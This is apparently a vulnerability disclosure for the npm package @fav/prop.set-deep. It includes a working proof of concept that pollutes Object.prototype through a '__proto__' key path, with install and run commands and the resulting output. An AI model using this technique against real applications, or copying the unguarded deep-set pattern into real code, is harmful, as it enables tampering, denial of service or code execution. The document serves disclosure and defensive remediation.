Description

@fav/prop.set-deep is vulnerable to Prototype Pollution.

Proof of Concept

1. Create the following PoC file:

// poc.js
var setDeep = require("@fav/prop.set-deep")

var obj = {};
console.log("Before: " + {}.polluted);
setDeep(obj, ["__proto__", "polluted"], "Yes, its polluted")
console.log("After: ", {}.polluted);

2. Execute the following commands in the terminal:

npm i @fav/prop.set-deep # install vulnerable package
node poc.js # run the PoC

3. Check the output:

Before: undefined
After: Yes, its polluted

Impact

Prototype Pollution leads to Information Disclosure/DoS/RCE.